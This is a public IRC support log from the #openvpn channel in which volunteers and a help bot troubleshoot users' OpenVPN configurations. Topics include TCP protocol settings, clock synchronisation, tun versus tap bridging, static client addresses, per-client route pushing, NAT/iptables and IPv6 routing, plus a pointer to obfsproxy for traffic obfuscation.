14:36 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
14:43 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
14:47 < BlackDal> here is my configs: http://paste.debian.net/1762/   http://paste.debian.net/1763/
14:47 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
14:47 < BlackDal> !logs
14:47 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:48 <@dazo> BlackDal: first tip ... --proto is either 'tcp-client' or 'tcp-server' in your case
14:49 < BlackDal> dazo: is tcp-server
14:49 <@dazo> in what you paste-binned ... I see: proto tcp
14:51 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
14:51 < BlackDal> dazo: yes is tcp, I don't understand
14:52 <@dazo> In your configuration case, proto *must* be tcp-server on the server side, not just tcp.  And tcp-client in the client config
14:52 -!- levifig [~levifig@spwn.co] has joined #openvpn
14:53 <@dazo> just --proto tcp, as you have now, will not work
14:53 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has joined #openvpn
14:54 < timmmaaaayyy> can i push DHCP option 232 with openvpn?  i only see in the docs DNS and WINS....
14:54 < BlackDal> I changed it, but I can't connect yet
14:55 <@dazo> Then we need logs
14:56 < BlackDal> dazo: client http://paste.debian.net/1768/     server http://paste.debian.net/1769/
14:56 <@dazo> !logs
14:56 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:57 <@dazo> this is too little ... must have at least --verb 4
14:57 < BlackDal> I changed to 5
14:58 <@dazo> your client is running a non-supported version, btw .... 2.1.4
14:58 < BlackDal> client in 5 http://paste.debian.net/1770/
15:00 <@dazo> uhm ... which time zones are these boxes in?
15:01 <@dazo> server: Thu May  2 18:37:20 2013   client: Fri May 03 00:23:43 2013
15:01 < BlackDal> client GTM +3.30 , server: Thu May  2 18:42:32 IRDT 2013
15:02 <@dazo> okay ... get your clocks synchronised
15:02 < BlackDal> on server ?
15:02 <@dazo> both sides
15:02 <@dazo> SSL is time sensitive ... you have time skew which may cause some issues
15:03 <@dazo> 37min on server and 23 on the client
15:03 <@dazo> (SSL handles time zones well - it's all UTC iirc, but not too well when there are some minutes difference)
15:04 <@Eugene> NTP FTW
15:04 <@dazo> yupp
15:04 < jzaw> Eugene, ++
15:04 < jzaw> no excuse wrt time
15:05 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
15:07 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 256 seconds]
15:10 < BlackDal> dazo: times is sync,... nothing changed
15:11 <@dazo> new logs please ... both sides, --verb 4 or more
15:12 < BlackDal> client http://paste.debian.net/1775/    server http://paste.debian.net/1776/
15:14 <@dazo> BlackDal: you are still using an outdated version on your client
15:15 <@dazo> 2.1.4 must be updated, esp. on a Windows client
15:25 < BlackDal> dazo:  client updates, new logs: http://paste.debian.net/1779/
15:27 <@dazo> BlackDal: well, the only thing left now is that either a) you have a network connectivity issue  or b) a firewall issue
15:27 <@dazo> BlackDal: are you from a country which tries to limit the Internet freedom?
15:28 < BlackDal> dazo: yes, fuck that, I'm from iran
15:29 <@dazo> BlackDal: no worries ... you might actually benefit from using OpenVPN over obfsproxy then
15:29 < BlackDal> dazo: but some peoples alerty use openvpn here
15:29 < BlackDal> dazo: any howto link?
15:29 <@dazo> obfsproxy will obfuscate the traffic and OpenVPN will connect to it like a socks5 proxy .... so it is fairly easy to set up
15:29  * dazo looks for url
15:30 <@dazo> BlackDal: https://community.openvpn.net/openvpn/wiki/TrafficObfuscation
15:30 <@vpnHelper> Title: TrafficObfuscation – OpenVPN Community (at community.openvpn.net)
15:31 < BlackDal> dazo: thank you friend
15:32 -!- seait [~seait@c-76-102-97-160.hsd1.ca.comcast.net] has joined #openvpn
15:32 -!- jekader [~jekader@89.28.86.96] has quit [Quit: Konversation terminated!]
15:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:44 -!- dazo is now known as dazo_afk
15:47 -!- BlackDal is now known as BlackDal_afk
15:51 -!- BlackDal_afk is now known as BlackDal
16:05 < jzaw> dazo_afk, sorry to bug .... That is, changing the port number to match the port number the server side obfsproxy will listen to.
16:06 < jzaw> they dont match
16:06 < jzaw> on that page
16:06 < jzaw> or who ever maintains the page ^^^^
16:06 < jzaw> ah nm ive read further
16:07 < jzaw> but that statement confused
16:11 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
16:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:22 -!- jimmyz2 [d055d3c4@gateway/web/cgi-irc/kiwiirc.com/ip.208.85.211.196] has joined #openvpn
16:24 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Ping timeout: 246 seconds]
16:25 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:30 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 260 seconds]
16:35 -!- SteWa [~j5m1th@78.129.180.118] has quit [Ping timeout: 272 seconds]
16:52 -!- SteWa [~j5m1th@2.186.58.62] has joined #openvpn
16:53 -!- jimmyz2 [d055d3c4@gateway/web/cgi-irc/kiwiirc.com/ip.208.85.211.196] has quit [Remote host closed the connection]
16:59 -!- BlackDal [~blackdal@89.144.167.68] has left #openvpn []
17:02 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 245 seconds]
17:03 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
17:06 -!- SteWa [~j5m1th@2.186.58.62] has quit [Ping timeout: 272 seconds]
17:07 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
17:18 -!- SteWa [~j5m1th@78.129.180.118] has joined #openvpn
17:21 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 272 seconds]
17:22 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:b540:1dca:d2d4:42af] has quit [Ping timeout: 246 seconds]
17:23 -!- mndo [~mndo@bl17-91-134.dsl.telepac.pt] has joined #openvpn
17:24 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
17:26 -!- ElleKitty [~jlb@wsip-68-107-217-139.ph.ph.cox.net] has joined #openvpn
17:28 < ElleKitty> !paste
17:28 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
17:35 -!- SteWa [~j5m1th@78.129.180.118] has quit [Ping timeout: 272 seconds]
17:37 -!- SteWa [~j5m1th@78.129.180.118] has joined #openvpn
17:38 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:b540:1dca:d2d4:42af] has joined #openvpn
17:38 < ElleKitty> Got a question I haven't been able to figure out from google and the manual alone. I've successfully set up a bridged VPN to my office network that I can connect my home machine to on the same subnet, see the other machines on that subnet, and route-gateway everything through it. In the office there's multiple physical subnets; .2 is the main internal network and goes through the gateway to the outside world, .3 is a storage net with no
17:38 < ElleKitty>  gateway. To be able to talk over .3, is it just a matter of setting up another bridge interface to that adapter more or less the same as for .2?
17:40 <@Eugene> Don't bridge.
17:40 <@Eugene> You can do all of that with routing
17:42 < majuscule> What exactly is the point of the android app for OpenVPN - doesn't android natively support VPNs?
17:42 < ElleKitty> I keep seeing conflicting answers as to whether bridging or routing is better but I was hoping to avoid having to configure routing tables :P
17:42 < pekster> !tunortap
17:42 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
17:42 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
17:44 -!- magoo [~mattw@209.114.46.149] has quit [Ping timeout: 276 seconds]
17:44 < ElleKitty> Does accessing a gluster share count in the same category as #4?
17:44 -!- magoo [~mattw@209.114.46.149] has joined #openvpn
17:45 < ElleKitty> But in any case, given that I've allready gone through the trouble of setting up the bridge, is what I asked possible?
17:46 < pekster> huh? No. If you bridge all your networks together they're on the same L2 but not the same L3 network. You'd need multiple addresses on anything to access both of them. Learn to route properly
17:48 <@Eugene> ElleKitty - anybody who tells you that bridging is the right general-purpose solution is wrong. Full stop. You want routing, and openvpn handles most of that for you
17:49 < ElleKitty> pekster, you lost me. Routing and the finer points of network protocol are admittedly a subject I'm spotty on.
17:50 < pekster> Then you should learn the basics before trying to set up a VPN
17:50 < pekster> !tcpip
17:50 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
17:50 <@Eugene> !whybridge
17:50 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
17:50 <@Eugene> Hm, not the one I was after
17:51 < pekster> I already linked tunortap earlier
17:51 <@Eugene> Yeah, there's one that's along the lines of "Bridging looks easy, but it's stupid"
17:52 < pekster> !tap
17:52 <@vpnHelper> "tap" is "bridge" is (#1) http://openvpn.net/index.php/documentation/faq.html#bridge1, or (#2) http://openvpn.net/index.php/documentation/miscellaneous/ethernet-bridging.html, or (#3) Bridging looks like a good choice to people who don't know how to set up IP routing, but to learn routing is generally far better., or (#4) useful for windows sharing (without wins server) and LAN gaming, anything
17:52 <@vpnHelper> where the protocol uses MAC addresses instead of IP addresses.
17:52 < pekster> #3
17:54 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
17:54 < zoredache> don't want to needlessly butt into this conversation, but is there a document somewhere actually describing the overhead caused by bridged mode?  Is it more then just needing to include the Ethernet frame?
17:55 < pekster> ARP and broadcast traffic pollutes traffic, leads to extra bottlenecks in the event of dropped packets, and allows any user to ARP-spoof another
17:56 < pekster> Not sure if there's a document that tries to talk you out of using a wrecking ball to staple pictures to your wall, but it's still the wrong solution ;)
17:57 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
17:57 <@krzee> pekster++
17:58 < zoredache> pekster: I am more thinking that your snipped might be more useful if someone had a link with some stats showing that you use ~10-15% more bandwidth with pretty graphs and so on.
17:58 <@krzee> then go make them
17:58 <@krzee> note, it will change with every connected client and usage
17:58 < zoredache> krzee: I am lazy, I was hoping someone had already done that.
17:58 < pekster> It's not about that kind of bandwidth zoredache. It's about extra delays and security issues
17:59 <@krzee> once you expand, its that kind too
18:00 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
18:00 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
18:00 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
18:00 < pekster> bridging is super-fun if you end up with an ARP or broadcast storm; then your VPN goes down becuase of a LAN misconfiguration. That's even worse if your admin would normally connect in remotely (after-hours of simply off-site) and could make a bad situation worse
18:01 < pekster> Honestly, if you don't know why you're doing it, you don't need it
18:01 <@krzee> ^ totally
18:03 < ElleKitty> Not objecting to the direction pekster is trying to nudge me in but I don't know if those issues would actualy come up: we're a three person company (and both the other two are well aware I don't know everything, but hired me for my ability to figure out things I don't know and set them up)
18:03 < zoredache> hrm, I can setup things on my more advanced switches to deal with that.  I am guessing the tap driver isn't as full-featured as my high-end switches.
18:05 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
18:05 -!- dioz_ [~dioz@2001:470:d:e3::1] has joined #openvpn
18:05 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0.1/20130409194949]]
18:05 <@krzee> ElleKitty, unless you have a reason you need tap, you want tun
18:06 -!- nortel [~qssl_fnod@qw3rty-2-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Ping timeout: 246 seconds]
18:06 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 246 seconds]
18:06 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 246 seconds]
18:06 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
18:07 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Ping timeout: 246 seconds]
18:09 -!- nortel [~qssl_fnod@qw3rty-2-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn
18:09 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
18:10 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
18:13 <@krzee> !ping
18:13 <@vpnHelper> pong
18:13 < jzaw> was there a split?
18:14 < ElleKitty> http://pastebin.com/uR5HG4xJ <-- That's a snippit from my server config file. If I reset the config to tun mode and uncomment those route lines, is that all I actualy need to do, or do I need to keep reading?
18:16 <@krzee> did you read this?
18:16 <@krzee> !route
18:16 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
18:16 <@vpnHelper> the server or client
18:16 <@krzee> (assuming your goal is accessing lans behind openvpn
18:17 <@krzee> !redirect
18:17 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
18:17 <@vpnHelper> http://ircpimps.org/redirect.png
18:17 <@krzee> for your redirecting internet over the vpn
18:17 <@krzee> note, you should only setup 1 at a time)
18:17 < ElleKitty> Neither of those pages are in my history, no.
18:18 < ElleKitty> I was using the Ubuntu server docs as my starting point.
18:20 < zoredache> if you are in topology p2p, and you are setting static addresses on clients `ifconfig-push clientip remote?`, what should you be using for the remote?  Do I use the IP ov the OpenVPN server, or what?
18:22 <@krzee> !static
18:22 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
18:22 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
18:22 <@krzee> oh sorry, p2p
18:22 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
18:22 <@krzee> in p2p you dont ifconfig-push
18:22 <@krzee> each side just ifconfig's
18:23 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
18:23 <@krzee> there is no pushing in topology p2p cause there is no client or server
18:23 <@krzee> just 2 peers (hence p2p)
18:23 < pekster> For the record, you can use TLS with `--mode p2p` although it's a bit odd to do so
18:24 <@krzee> how does the second client get addressed?
18:24 <@krzee> oh tls does not imply server, sorry
18:24 <@krzee> misunderstood :D
18:24 < pekster> On its own side :)
18:24 < pekster> Yea
18:25 < zoredache> I am kinda confused then.  I kinda wanted my IPv6 addresses to line up with my IPv4 addresses.  IPv6 addresses are assigned one after another.  The man page mentions ifconfig-pool-linear, but that it is deprecated and I should use p2p
18:25 <@krzee> you just mean p2p with forward security
18:25 <@krzee> (which is interesting, i hadnt realized that wasd doable)
18:25 <@krzee> !topology
18:25 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
18:25 <@krzee> zoredache, thats what you want ^
18:26 < zoredache> ah, ok that looks promising.
18:28 < zoredache> so back if I am using topology subnet what should the second paramater be for `ifconfig-push`?
18:28 <@krzee> !static
18:28 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
18:29 < zoredache> whoops, sorry, you mentioned that.  I should have scrolled back.
18:29 < zoredache> thanks
18:30 <@krzee> np
18:33 < ElleKitty> krzee, does the warning about not using common subnets apply if redirect-gateway is being used?
18:34 <@krzee> actually, only if sharing lans
18:34 <@krzee> in which case none of the shared lans should be common
18:36 < ElleKitty> I think all cases but one avoid that issue. The one has the same topology as the office network except for the absence of subnets .3 and up
18:37 < ElleKitty> Or, I may be misunderstanding what you mean by sharing lans :P
18:37 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
18:38 <@krzee> !lans
18:38 <@vpnHelper> "lans" is https://www.secure-computing.net/wiki/index.php/OpenVPN/Routing
18:39 <@krzee> if doing that, the subnets should be uncommon
18:39 < ElleKitty> If I'm following you: my home router uses .1.x which should have no problem redirecting through the .2.x gateway, but his home router that's set to .2.x might have a problem
18:39 -!- newbie|2 [~tjz@bb119-74-161-116.singnet.com.sg] has quit [Quit: quit irc]
18:39 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
18:40 <@krzee> .1.x and .2.x means nothing
18:40 <@krzee> to me or anyone :p
18:44 -!- awc737 is now known as awc737_away
18:47 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Ping timeout: 246 seconds]
18:48 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
18:49 -!- abec0 [olivier@vvma.net] has quit [Ping timeout: 248 seconds]
18:50 < ElleKitty> krzee, Ok, I think I figured out what you mean and no, we aren't sharing the clientside lans.
18:50 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
18:50 <@krzee> sharing the server lan?
18:51 < ElleKitty> Yes, just the server lan
18:51 < ElleKitty> er, lans
18:52 <@krzee> ok, then those lans should be uncommon
18:52 <@krzee> the only possible issue will be when a client happens to be on one of those subnets and gets the subnet pushed to it (the vpn tells the client to route that subnet over the vpn)
18:54 -!- BtbN [~btbn@btbn.de] has joined #openvpn
18:56 < ElleKitty> The one case I know of where that may be an issue isn't going to be an issue for some months so I'll probably wait till then to deal with it
18:57 <@krzee> hah
18:57 <@krzee> glad you dont work for me
18:58 < ElleKitty> Well it requires the cooperation of a guy who's currently on the road so there's nothing I *can* do about it.
18:59 <@krzee> dont worry, im not hiring anyways ;[
18:59 <@krzee> ;] *
18:59 < ponyofdeath> hi, how do i prevent certain routes from being pushed to certain clients?
19:00 <@krzee> ponyofdeath, easiest way is dont push them to those clients
19:00 < ponyofdeath> krzee: how can i do that is it possible to put the push statements inside the ccd files and not in the main config
19:00 <@krzee> yep
19:00 <@krzee> thats how :)
19:00 < ponyofdeath> got it thanks
19:01 <@krzee> (or in a client-connect script which makes a dynamic ccd file)
19:01 < ponyofdeath> but the route statements need to be in the main config
19:01 < pekster> You also get $ccd_dir/DEFAULT that'll be processed for all clients that lack a ccd entry
19:01 < ponyofdeath> for routes that are behind the client
19:01 <@krzee> route statements are for the server, so yes
19:02 <@krzee> ahh ya, depending on if most do or dont get the routes you may like what pekster said
19:02 -!- lamba [~sirex@unaffiliated/lamba] has left #openvpn []
19:02 <@krzee> if not getting a route is the exception, what he said is sweet
19:02 < pekster> There's also --push-reset, but be careful as it clears all the pushed options up to that point (including those from the main config)
19:02 < BtbN> Could someone take a look at my iptables rules for my OpenVPN server? http://bpaste.net/show/coUZ1CTNuveOIw3OagHS/
19:03 <@krzee> (and when he means all, he means ALL including what may be needed to make the vpn work)
19:03 < ponyofdeath> pekster,krzee: ok thanks guys
19:03 < BtbN> For some reason i can't get out of the server, so it does not NAT or forward
19:03 <@krzee> yw
19:04 <@krzee> BtbN, allowing the responses too?
19:04 < BtbN> conntrack should take care of that, to allow only related/established traffic
19:04 < BtbN> but i'm not sure if i set up the rules correctly
19:05 <@krzee> doesnt keeping state usually come with a rule that says to allow everything whose state is already kept?
19:06 <@krzee> meh, i shouldnt be answering, others here know iptables better than i
19:06 < pekster> Forget to turn on IP forwarding maybe?
19:06 < pekster> The only weird thing about your rules is that the filter table is listed *twice*
19:06 < BtbN> ip forwarding is on, according to sysctl -p
19:06 < BtbN> pekster: that's two iptables config
19:07 < BtbN> first iptables, second ip6tables
19:07 < pekster> Ah, it blended right into all the comments
19:08 < pekster> Pasting your VPN configs would help,
19:08 < pekster> !configs
19:08 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
19:09 < pekster> The firewall rules look fine, and if `sysctl net.ipv4.ip_forward` looks good, that part should be fine (assuming you interfaces and addresses/networks are correct, of course)
19:09 < BtbN> http://bpaste.net/show/95999/
19:10 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
19:10 < BtbN> that's the server
19:12 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 256 seconds]
19:13 < pekster> Looks good. You can ping the server at 10.19.250.1 after connect? (I'll start with IPv4 just becuase it's easier to type ;)
19:13 < pekster> In fact, if you haven't been linked this before,
19:13 < pekster> !redirect
19:13 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
19:13 <@vpnHelper> http://ircpimps.org/redirect.png
19:13 < BtbN> that's stupid -_-
19:13 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 246 seconds]
19:13 < BtbN> i connected to the wrong server
19:13 < BtbN> nevermind
19:14 < BtbN> i copied the config from my second server, and forgot to change the address
19:14 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
19:17 < dimm0k> currently i have the openvpn server and client on the same LAN. got past the step so that the client and server can communicate on tun0
19:17 -!- ElleKitty [~jlb@wsip-68-107-217-139.ph.ph.cox.net] has quit [Quit: Leaving]
19:18 < dimm0k> once i get the server to push "route 192.168.200.0 255.255.255.0", the client should be able to ping the 192.168.200.0 subnet?
19:19 < BtbN> if there is a route back, yes
19:19 < BtbN> or if you're doing NAT
19:21 <@krzee> !route_outside _ovpn
19:21 <@krzee> !route_outside_ovpn
19:21 <@vpnHelper> "route_outside_ovpn" is "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
19:21 <@krzee> dimm0k, ^
19:22 < dimm0k> thing is, because the client and server are both on the same LAN, how do i know for certain that when i ping the 192.168.200.0 subnet that i'm doing it through tun0?
19:22 <@krzee> dont do that
19:22 <@krzee> lol lol
19:22 < dimm0k> dont do what?
19:22 <@krzee> dont route your lan over openvpn when you are on the lan
19:22 <@krzee> a) it wont work
19:22 <@krzee> b) wtf?
19:23 < dimm0k> oh
19:23 < dimm0k> well...  i wanted to test my openvpn server while it's within "reach" before moving it to another location
19:23 < BtbN> maybe usefull for unencrypted wlan, but i'd use a diffrent subnet for the wlan than
19:24 < zoredache> krzee: why won't it work?  It seems to work for me.  I don't trust my wifi
19:24 < pekster> Drop your test client behind another subnet then, or connect in from outside the network
19:24 <@krzee> zoredache, you arent pushing your lan to yourself
19:24 <@krzee> you are prolly using redirect-gateway local, which is fine
19:25 <@krzee> amirite?
19:25 < zoredache> right.  Different subnet, and routes, combined with some DNS stuff to make everything use the VPN.
19:26 <@krzee> zoredache, he is saying he wants to share his server subnet with his client, which happens to be on the same subnet
19:26 <@krzee> which is what wont work? what you do is fine =]
19:26 < zoredache> oh, yeah, then your option b) seems right.
19:26 <@krzee> hahahah
19:28 < dimm0k> hrmm, testing the client behind another subnet looks to be the easiest route
19:28 <@krzee> or just tether from your cell, or drive to a coffee shop
19:28 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:b540:1dca:d2d4:42af] has quit [Remote host closed the connection]
19:29 <@krzee> or use a neighbor's wifi
19:29 <@krzee> hell im on a train right now and i have 3 different sources of internet
19:29 <@krzee> (cell, verizon hotspot, and train wifi)
19:29 < dimm0k> i wish i was that lucky...
19:29 < dimm0k> any plans of a blackberry openvpn client?
19:30 <@krzee> QNX has openvpn, but blackberry is hella closed
19:30 <@krzee> so nope
19:30 <@krzee> !qnx
19:30 <@vpnHelper> "qnx" is http://ovpnforum.com/viewtopic.php?f=4&t=2449 for the qnx6 port of openvpn
19:31 < dimm0k> damn blackberry
19:40 < julianoliver> what's the status of OpenVPN and non-rooted Android?
19:40 < BtbN> works fine
19:40 < julianoliver> ok
19:40 < BtbN> if you got a recent enough version
19:40 < BtbN> no idea if 4.1 works, but 4.2 does
19:40 < julianoliver> excellent.
19:40 < BtbN> just use the official OpenVPN app
19:41  * julianoliver does this.
19:44 -!- mndo [~mndo@bl17-91-134.dsl.telepac.pt] has quit [Remote host closed the connection]
19:45 < dimm0k> now that i have the client on another subnet, how do i get see the server's subnet to be able to connect?
19:46 -!- raidz is now known as raidz_away
19:49 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 252 seconds]
20:00 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
20:00 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
20:24 < BtbN> Doesn't redirect-gateway work with topology subnet?
20:24 < BtbN> For some reason it does not push the redirect-gateway option
20:26 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has left #openvpn ["I'm outta here"]
20:28 -!- JSharpe [~JSharpe@176.253.10.142] has quit [Read error: Connection reset by peer]
20:28 -!- JSharpe [~JSharpe@ns237264.ovh.net] has joined #openvpn
20:33 -!- dioz_ is now known as dioz
20:33 -!- mitz_ [~mitz@219.143.36.82] has joined #openvpn
20:34 -!- mitz_ [~mitz@219.143.36.82] has quit [Read error: Connection reset by peer]
20:35 -!- mitz_ [~mitz@219.143.36.82] has joined #openvpn
20:41 < BtbN> Hm, seems like redirect-gateway doesn't work for IPv6
20:54 < pekster> !redirect
20:54 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
20:54 <@vpnHelper> http://ircpimps.org/redirect.png
20:54 < pekster> #3
20:55 < pekster> You can try 0::/0 if you'd like too, but 2000::/3 is all of the globally-routable unicast space currently allocated
21:02 -!- master_o1_master [~master_of@p4FF245D5.dip0.t-ipconnect.de] has joined #openvpn
21:04 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
21:06 -!- master_of_master [~master_of@p4FF2434E.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
21:07 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
21:14 -!- Devastator [~devas@177.99.152.148] has quit [Read error: Connection reset by peer]
21:14 -!- Devastator [~devas@177.99.152.148] has joined #openvpn
21:15 -!- Zenum [~quassel@unaffiliated/zenum] has quit [Remote host closed the connection]
21:16 -!- Zenum [~quassel@2001:470:6c:5bc::1020] has joined #openvpn
21:16 -!- Zenum [~quassel@2001:470:6c:5bc::1020] has quit [Changing host]
21:16 -!- Zenum [~quassel@unaffiliated/zenum] has joined #openvpn
21:23 -!- spavis [~spavis@24-107-225-154.dhcp.oxfr.ma.charter.com] has joined #openvpn
21:35 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
21:38 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
21:42 -!- El_Presidente [~AndChat43@p5DD73027.dip0.t-ipconnect.de] has joined #openvpn
21:43 < El_Presidente> Hi
